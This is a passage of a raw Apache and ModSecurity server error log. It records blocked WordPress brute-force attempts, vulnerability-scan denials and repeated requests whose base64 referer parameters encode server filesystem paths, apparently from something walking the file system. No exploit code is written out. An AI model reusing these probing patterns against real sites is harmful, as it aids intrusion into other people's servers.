18:21:34.215527 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMi9wb3dlcg== [Sat Jun 13 18:21:34.695286 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:21:34.695771 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:21:34.796916 2026] [access_compat:error] [pid 648189:tid 648264] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:34.797334 2026] [access_compat:error] [pid 648189:tid 648264] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:34.859451 2026] [security2:error] [pid 648189:tid 648449] [client 172.56.168.133:55457] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30DlWSojQL4F7upKCNRwAAAOM"] [Sat Jun 13 18:21:34.859621 2026] [security2:error] [pid 648189:tid 648449] [client 172.56.168.133:55457] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30DlWSojQL4F7upKCNRwAAAOM"] [Sat Jun 13 18:21:34.923607 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.33:24431] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:34.924032 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.33:24431] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:35.219200 2026] [security2:error] [pid 715691:tid 715755] [remote 77.237.247.134:42764] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 134.247.237.77.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "camera-roll.com"] [uri "/wp-login.php"] [unique_id "ai30D7V-dFiaX9AtWiQUuAABVi0"], referer: https://camera-roll.com/wp-login.php [Sat Jun 13 18:21:35.230735 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:21:35.231091 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:21:35.247578 2026] [security2:error] [pid 715691:tid 715759] [remote 20.153.140.50:34260] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.140.153.20.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magisters-terrace.com"] [uri "/wp-login.php"] [unique_id "ai30D7V-dFiaX9AtWiQUuQABITA"] [Sat Jun 13 18:21:35.300058 2026] [security2:error] [pid 715691:tid 715764] [remote 17.22.253.116:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 116.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30D7V-dFiaX9AtWiQUvAABWDU"] [Sat Jun 13 18:21:35.322646 2026] [access_compat:error] [pid 715691:tid 715762] [remote 57.141.14.76:26075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:35.323087 2026] [access_compat:error] [pid 715691:tid 715762] [remote 57.141.14.76:26075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:35.482453 2026] [security2:error] [pid 648189:tid 648392] [client 210.217.96.217:20006] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30D1WSojQL4F7upKCNTAAAAKw"] [Sat Jun 13 18:21:35.482572 2026] [security2:error] [pid 648189:tid 648392] [client 210.217.96.217:20006] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30D1WSojQL4F7upKCNTAAAAKw"] [Sat Jun 13 18:21:35.525040 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.82:23232] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:35.525480 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.82:23232] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:35.578264 2026] [security2:error] [pid 715691:tid 715770] [remote 17.246.19.33:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 33.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30D7V-dFiaX9AtWiQUxQABZTs"] [Sat Jun 13 18:21:35.602111 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.18:55094] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:35.602530 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.18:55094] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:35.624300 2026] [access_compat:error] [pid 715691:tid 715776] [remote 57.141.14.49:43681] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:35.624746 2026] [access_compat:error] [pid 715691:tid 715776] [remote 57.141.14.49:43681] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:35.642391 2026] [security2:error] [pid 648189:tid 648293] [remote 17.241.219.143:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 143.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30D1WSojQL4F7upKCNUQAA_Ec"] [Sat Jun 13 18:21:35.767113 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9oaWRyYXcvaGlkcmF3MC9kZXZpY2U= [Sat Jun 13 18:21:35.767382 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9oaWRyYXcvaGlkcmF3MC9kZXZpY2U= [Sat Jun 13 18:21:35.799966 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.37:46048] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:35.800280 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.37:46048] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:36.259375 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:21:36.259829 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:21:36.521386 2026] [security2:error] [pid 715691:tid 715785] [remote 17.246.15.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ELV-dFiaX9AtWiQU1AABGEo"] [Sat Jun 13 18:21:36.562261 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.2:39051] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:36.562560 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.2:39051] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:36.726373 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.60:43526] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:36.726713 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.60:43526] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:36.804881 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:21:36.805187 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:21:36.865705 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.12:25092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:36.866156 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.12:25092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:36.989627 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.60:43538] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:36.990176 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.60:43538] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:37.332313 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9zdWJzeXN0ZW0vZHJpdmVycy9wY3Nwa3I= [Sat Jun 13 18:21:37.332801 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9zdWJzeXN0ZW0vZHJpdmVycy9wY3Nwa3I= [Sat Jun 13 18:21:37.770714 2026] [access_compat:error] [pid 648189:tid 648317] [remote 57.141.14.113:61270] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:37.770982 2026] [access_compat:error] [pid 648189:tid 648317] [remote 57.141.14.113:61270] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:37.826128 2026] [security2:error] [pid 715691:tid 715800] [remote 17.246.23.176:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30EbV-dFiaX9AtWiQU5gABX1k"] [Sat Jun 13 18:21:37.864758 2026] [access_compat:error] [pid 646876:tid 646892] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:21:37.865057 2026] [access_compat:error] [pid 646876:tid 646892] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:21:37.899740 2026] [security2:error] [pid 715691:tid 715803] [remote 20.153.140.50:34260] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.140.153.20.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] 